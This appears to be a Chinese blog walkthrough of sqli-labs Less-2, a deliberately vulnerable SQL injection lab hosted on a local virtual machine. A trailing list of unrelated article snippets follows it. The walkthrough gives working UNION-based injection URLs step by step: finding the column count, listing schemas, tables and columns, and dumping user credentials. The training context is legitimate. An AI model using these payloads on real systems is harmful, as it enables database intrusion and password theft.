当前位置: 首页 > news >正文

sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试在这里插入图片描述

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1’

在这里插入图片描述

从回显判断多一个‘ ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1
http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

在这里插入图片描述

http://192.168.128.3/sq/Less-2/?id=1 group by 4

在这里插入图片描述

http://192.168.128.3/sq/Less-2/?id=1 group by 3

在这里插入图片描述

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3
在这里插入图片描述

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

在这里插入图片描述

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

在这里插入图片描述

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’

在这里插入图片描述

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’

在这里插入图片描述

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,‘~’,password),3 from security.users

在这里插入图片描述
** 大功告成**

相关文章:

sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2 本次测试在虚拟机搭建靶场,从主机测试 1、输入?id1和?id2发现有不同的页面回显 2、判断注入类型 http://192.168.128.3/sq/Less-2/?id1’ 从回显判断多一个‘ ,预测可能是数字型注入 输入 http://192.168.128.3/sq/Less…...

Ruby XML, XSLT 和 XPath 教程

Ruby XML, XSLT 和 XPath 教程 1. 引言 Ruby 是一种动态、开放源代码的编程语言,广泛用于网页开发、数据分析和各种自动化任务。在处理 XML(可扩展标记语言)时,Ruby 提供了强大的库和工具,使得解析、转换和提取 XML 数据变得简单高效。本教程将介绍如何使用 Ruby 来处理…...

attain和obtain区别

一、语法问题解答​ attain​:主要用作及物动词,表示“达到,得到,实现”,通常用于指经过努力达到某种目标、水平或状态,其宾语多为抽象名词,如目标、理想、成就等。它强调通过不懈努力实现某种…...

◇【code】PPO: Proximal Policy Optimization

整理的代码库:https://github.com/Gaoshu-root/Code-related-courses/tree/main/RL2024/PPO OpenAI 文档 —— PPO-Clip OpenAI 文档 界面链接 PPO: on-policy 算法、适用于 离散 或 连续动作空间。可能局部最优 PPO 的动机与 TRPO 一样:…...

Spring Boot 进阶-浅析SpringBoot中如何完成数据校验

在实际开发中,我们经常会遇到接口数据校验的问题。例如在用户输入手机号、或者是身份证号的时候,我们就需要校验手机号或者身份证号是否输入正确。当然这样的校验在前端页面输入的时候就可以完成。 但是对于直接调用接口的情况则不能通过调用方来进行判断,这就需要我们在Spr…...

◇【论文_20181020 v6】广义优势估计器 (generalized advantage estimator, GAE)

https://arxiv.org/abs/1506.02438 ICLR 2016 加州伯克利 电子工程与计算机科学系 High-Dimensional Continuous Control Using Generalized Advantage Estimation 文章目录 摘要1 引言2 预备知识3 优势函数估计4 解释为 奖励设计reward shaping5 价值函数估计6 实验6.1 策略优…...

JAVA后端项目须知

Eureka服务发现框架 ‌‌Eureka是一个服务发现框架,由‌Netflix开发,主要用于定位运行在‌AWS域中的中间层服务,以达到负载均衡和中间层服务故障转移的目的。‌‌12 Eureka是Spring Cloud Netflix的一个子模块,也是核心模块之一…...

Java设计模式——适配器模式

目录 模式动机 模式定义 模式结构 代码分析 模式分析 实例 优点 缺点 适用环境 模式应用 模式扩展 总结 模式动机 在软件开发过程中,经常会遇到需要使用已有类的功能,但这些类的接口不符合当前系统的需求,或者需要将不同的类的接…...

docker compose入门6—如何挂载卷

在 Docker Compose 中,可以通过 volumes 字段将宿主机的文件或目录挂载到容器中。这样可以实现数据持久化、共享数据或配置等。以下是一些常见的挂载方式和示例。 1. 挂载单个文件 如果你想将宿主机上的一个特定文件挂载到容器中,可以使用以下格式&…...

linux 环境下 docker 镜像获取失败, 重新设置docker镜像下载地址

1.查询镜像地址 https://hub.atomgit.com/repos/amd64/openjdk 2.docker file FROM hub.atomgit.com/amd64/openjdk:21-rc-jdk COPY xxxx.jar xxxx.jar EXPOSE xxxxx ENTRYPOINT ["java","-jar","-Xmx200M","-agentlib:jdwptransportdt_…...

【React】setState 是怎么记住上一个状态值的?

在 React 中,setState 通过 React 内部的状态管理机制来记住上一个状态值。即使每次组件重新渲染时,函数组件会被重新执行,React 仍能通过其内部的状态管理系统保持和追踪组件的状态变化。下面详细解释其工作原理: 1. setState 的…...

linux批量删文件

在 Linux 中,可以使用命令行工具来批量删除文件。以下是一些常用的方法: 使用 rm 命令 rm 是一个用于删除文件和目录的命令。使用此命令时应谨慎,因为删除操作是不可逆的。 删除特定类型的文件 例如,要删除当前目录下所有的 .tx…...

Kubernetes(K8s)的简介

一、Kubernetes的简介 1 应用部署方式演变 在部署应用程序的方式上,主要经历了三个阶段: 传统部署:互联网早期,会直接将应用程序部署在物理机上 优点:简单,不需要其它技术的参与 缺点:不能为应…...

线性查找法 ← Python实现

【线性查找法】 线性查找法顺序地将关键元素 key 和列表中的每一个元素进行比较。它连续这样做,直到这个关键字匹配列表中的某个元素,或者在没有找到匹配元素时已经查找完整个列表。如果找到一个匹配元素,那么线性查找将返回匹配在列表中的下…...

view deign 和 vue2 合并单元格的方法

1.vue版本和view design 版本 {"vue": "^2.6.11","view-design": "^4.7.0", }2.Data中定义数据 spanArr: [], // 某一列下需要合并的行数 pos: 0// 索引// 注意点: 在获取列表前,需要重置 this.spanArr [] 注…...

Arduino UNO R3自学笔记16 之 Arduino的定时器介绍及应用

注意:学习和写作过程中,部分资料搜集于互联网,如有侵权请联系删除。 前言:学习定时器的功能。 1.定时器介绍 定时器也是一种中断,属于软件中断。 它就像一个时钟,可以测量事件的时间间隔。 比如早…...

鸟类数据集,鸟数据集,目标检测class:bird,共一类13000+张图片yolo格式(txt)

鸟类数据集,鸟数据集,目标检测class:bird,共一类13000张图片yolo格式(txt) 鸟类数据集,鸟数据集,目标检测 class:bird,共一类 13000张图片 yolo格式(txt) 鸟…...

透明物体的投射和接收阴影

1、让透明度测试Shader投射阴影 (1)同样我们使用FallBack的形式投射阴影,但是需要注意的是,FallBack的内容为:Transparent / Cutout / VertexLit,该默认Shader中会把裁剪后的物体深度信息写入到 阴影映射纹…...

NL2SQL商业案例详解:AI智能开放搜索 OpenSearch

NL2SQL商业案例详解:AI智能开放搜索 OpenSearch 基于阿里巴巴自主研发的大规模分布式搜索引擎搭建的一站式智能搜索业务开发平台,目前为包括淘宝、天猫在内的阿里集团核心业务提供搜索服务支持。通过内置各行业的查询语义理解、机器学习排序算法等能力,以及充分开放的文本向…...

【万字长文】Word2Vec计算详解(一)

【万字长文】Word2Vec计算详解(一) 写在前面 本文用于记录本人学习NLP过程中,学习Word2Vec部分时的详细过程,本文与本人写的其他文章一样,旨在给出Word2Vec模型中的详细计算过程,包括每个模块的计算过程&a…...

【EXCEL数据处理】000022 案例 保姆级教程,附多个操作案例。EXCEL邮件合并工具

前言:哈喽,大家好,今天给大家分享一篇文章!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 💕 目录 【EXCEL数据处理】000022 案例 保姆级教程,附多个操作案例。…...

第十五周:机器学习笔记

第十五周周报 摘要Abstract一、机器学习1. 各式各样神奇的自注意力机制1.1 Local Attention/Truncated Attention(截断注意力机制)1.2 Stride Attention(跨步注意力机制)1.3 Global Attention(全局注意力机制&#xff…...

Highcharts 散点图

Highcharts 散点图 介绍 Highcharts 是一个流行的 JavaScript 图表库,广泛用于网页上展示动态和交互式的图表。散点图是 Highcharts 提供的一种图表类型,它通过在二维坐标系中展示数据点的分布,来揭示变量之间的关系。散点图特别适用于展示和比较大量的数据点,从而发现数…...

谷粒商城踩坑

1.mysql表名大小写问题(P16) 问题描述:代码要求的是表名大写,但实际上数据库是小写的,就报错: 问题解决:未解决 mysql版本为5.7.44。网上有两种解决方式,但是都解决不了 1.1 解决方…...

构建MySQL健康检查Web应用

构建MySQL健康检查Web应用 在这里将探讨如何将MySQL健康检查功能转换为一个功能完整的Web应用。这个应用允许用户通过简单的Web界面执行MySQL健康检查,并查看详细的结果。我们将逐步介绍代码实现、改进过程以及如何设置和运行这个应用。 1. MySQL健康检查类 首先…...

【LeetCode】每日一题 2024_10_8 旅行终点站(哈希)

前言 每天和你一起刷 LeetCode 每日一题~ LeetCode 启动! 国庆结束了 . . . 力扣的每日一题也来到了终点站 题目:旅行终点站 代码与解题思路 func destCity(paths [][]string) string { // 国庆结束,旅途到了终点// 今天这道题算是一个小…...

Matlab实现海鸥优化算法优化回声状态网络模型 (SOA-ESN)(附源码)

目录 1.内容介绍 2部分代码 3.实验结果 4.内容获取 1内容介绍 海鸥优化算法(Seagull Optimization Algorithm, SOA)是一种受海鸥觅食和飞行行为启发的群体智能优化算法。SOA通过模拟海鸥在空中搜寻食物、聚集和分散的行为模式,来探索和开发…...

看门狗电路设计

看门狗电路设计 看门狗是什么应用架构图TPV6823芯片功能硬件时序图为什么要一般是要保持200个毫秒左右的这种低电平的时间看门狗电路实际应用与条件 看门狗是什么 硬件看门狗芯片,Watch DogTimer,可用于受到电气噪音、电源故障、静电放电等影响(造成软件…...

No.13 笔记 | 网络安全防护指南:从法律法规到技术防御

一、法律法规 《中华人民共和国网络安全法》要点 遵守法律:所有个人和组织在使用网络时,必须遵守宪法和法律,不得利用网络从事危害国家安全等活动。 个人信息保护:禁止非法获取、出售或提供个人信息。若违反但未构成犯罪&#x…...

大数据毕业设计选题推荐-白酒销售数据分析-Python数据可视化-Hive-Hadoop-Spark

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…...